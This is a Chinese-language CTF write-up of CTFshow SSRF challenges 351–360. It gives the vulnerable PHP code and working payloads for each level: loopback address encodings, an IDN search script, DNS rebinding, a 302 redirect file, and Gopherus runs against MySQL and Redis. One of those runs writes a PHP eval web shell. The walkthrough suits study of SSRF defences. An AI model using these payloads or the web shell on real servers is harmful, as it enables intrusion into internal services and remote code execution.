SSRF
简介
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
CTFshow-ssrf
web 351
<?php
error_reporting(0); //设置应该报告何种 PHP 错误 o即不报错
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url); //ssrf危险函数 初始化cURL会话并返回cURL句柄 供之后curl函数使用
curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //将curl_exec()获取的信息以字符串返回,而不是直接输出
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
cURL是一个利用URL语法在命令行下工作的文件传输工具 在linux系统中可以用于下载某网页指向的文件
curl_setopt ( resource $ch , int $option , mixed $value ) ch 为句柄 option为可供选择的传输选项 value为真或假
所以题目的意思就很明显了 传入一个url值并创建会话 不输出头文件信息 讲获取到的信息放回到result 再输出
直接 post 传入 url=http://127.0.0.1/flag.php 即可得到flag值
理论上也可以 url=file:///var/www/html/flag.php 但这到题好像用不了file协议
至于为什么是flag.php 我也不知道 碰巧试出来的 之后的flag也全是藏在flag.php下
web 352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url); //
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
parse_url 本函数解析一个URL并返回一个关联数组,包含在 URL 中出现的各种组成部分。
刚好前些日子看过些http协议 感觉这个严格来说应该是解析一个URI
URI绝对格式 :1 http:// 2 user:pass@ 3 www.example.com: 4 80 5/ dir/index.html 6 ?uid=1 7 #ch1
1 协议名 2 登录信息(认证) 3 服务器地址 4端口号 5 文件路径 6 查询字符串 7 片段标识符
例子:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
输出:
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
?
一开始我还很疑惑 正则匹配localhost 127.0.0不是直接把答案告诉你了吗 后面才发现前面有个!
所以本题意思是过滤掉 localhost 127.0.0 还得使用http(s)协议
url=http://0x7F.0.0.1/flag.php 十六进制 url=http://0177.0.0.1/flag.php 八进制 还有一个疑惑就是二进制应该也可以 但是该怎么区分进制呢? url=http://2130706433/flag.php 10 进制整数格式 (??)这什么操作 url=http://0x7F000001/flag.php 16 进制整数格式
url=http://127.1/flag.php url=http://0/flag.php url=http://127.0000000000000.001/flag.php
url=http://0.0.0.0/flag.php
url=http://127.127.127.127/flag.php CIDR
以下为常用绕过方式 但本题不行的解法
短标签绕过 ipv6绕过[::1] url=http://127。0。0。1/flag.php 句号绕过
web 353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
本题和上题差不多 正则表达式有些许改变 过滤了 localhost 127.0. 或者 127。1
正则匹配相关可以看 https://www.cnblogs.com/hellohell/p/5718319.html
可以从上题常用绕过方式选择没被绕过的payload用即可
url=http://0/flag.php
web 354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
这题过滤得更狠 把 1和0都给过滤了 那是把常用的绕过方式全给过滤了
这里卡了我很久 最后还是看了别人的wp照葫芦画瓢写出来的
据说预期解是通过脚本用IDN替换localhost的字符
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
比如用a左边的字符去替换a最终就是loc?hlhost
但是这道题并不能用 不过可以当作一种思路
一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ???????.??? 和 example.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。
IDN(Internationalizing Domain Names )国际化域名 是一种以标准方式处理ASCII以外字符的一种机制,它从unicode中提取字符,并允许非ASCII码字符以允许使用的ASCII字符表示。
方法一 修改域名a记录
我们可以使用a记录的方式,就是我们127.0.0.1设为我们的域名A记录,然后通过访问我们的域名,就可以直接访问到域名A记录所指向的服务器IP地址。
A记录全称Address记录,又称IP指向,是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置二级域名,从而实现通过域名找到服务器找到相应网页的功能。
通俗的说A记录就是域名绑定到服务器的IP,A记录就是告诉DNS,当你输入域名的时候,通过在DNS的A记录引导你到所对应的服务器。
自己得域名做了cdn防护 懒得折腾 所以用了网上的 sudo.cc
方法二 DNS Rebinding DNS重绑定
一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
于是post url=http://r.3hpgmf.ceye.io/flag.php 即可
web 355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
考点在于弄清host 解析url之后 host的值其实是 URI绝对格式中 服务器地址的值
小于5 可以 0 127.1 等等方式
web 356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
和上题一样 不过是host<3 那就只能用0了
web 357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']); // 类似全国ping上的反查域名
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');} // 要求ip在私域里
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
这道题和354类似
主要考了getbyhostname 和 filter_var 两个函数
filter_var — 使用特定的过滤器过滤一个变量 如果成功,则返回被过滤的数据。如果失败,则返回 FALSE。
filter_var(variable, filter, options)
这里的过滤器是 filter_varlidate_ip options有下面四个
- FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)。
- FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)。
- FILTER_FLAG_NO_PRIV_RANGE - 要求值不在 RFC 指定的私有范围 IP 内(比如 192.168.0.1)。
- FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
保留地址主要在以下四类:
A类:10.0.0.0-10.255.255.255(长度相当于1个A类IP地址)
A类:100.64.0.0-100.127.255.255
B类:172.16.0.0-172.31.255.255(长度相当于16个连续的B类IP地址)
C类:192.168.0.0-192.168.255.255(长度相当于256个连续的C类IP地址)
方法一 302跳转
在自己服务器上写个hack.php文件内容如下
<?php header("Location:http://127.0.0.1/flag.php"); ?>
直接访问自己的网站的hack.php即可
方法二 dns重定向
依旧是354的方法 不过得多试几次 有时候ip为 127.0.0.1 有时候为 92.3.3.2(自己设定的)
可能是dns重定向的TTL延迟导致
web 358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
正则表达式匹配 以http://ctf. 开头 以 show结尾的字符串 通过URI格式可以轻松绕过
url=http://ctf.@127.0.0.1/flag.php?show
web 359
题目hint 打没密码的mysql
打开题目页面是一个带cookie的登陆界面 登录进去存在check.php
直接利用工具 https://github.com/tarunkant/Gopherus
python gopherus.py --exploit mysql
root
select ‘<?php eval($_POST[hack]);?> ’ into outfile ‘/var/www/html/hack.php’
工具直接梭哈
web 360
题目hint 打redis
同样利用工具 gopherus
不过需要改成 python gopherus.py --exploit redis
ssrf打redis 还有以下这些方法 由于是ssrf一周目 进阶操作还没学明白 先给自己挖个坑
- 写ssh公钥
- 写crontab
- 写WebShell
- Windows写启动项
- 主从复制加载 .so 文件
- 主从复制写无损文件
|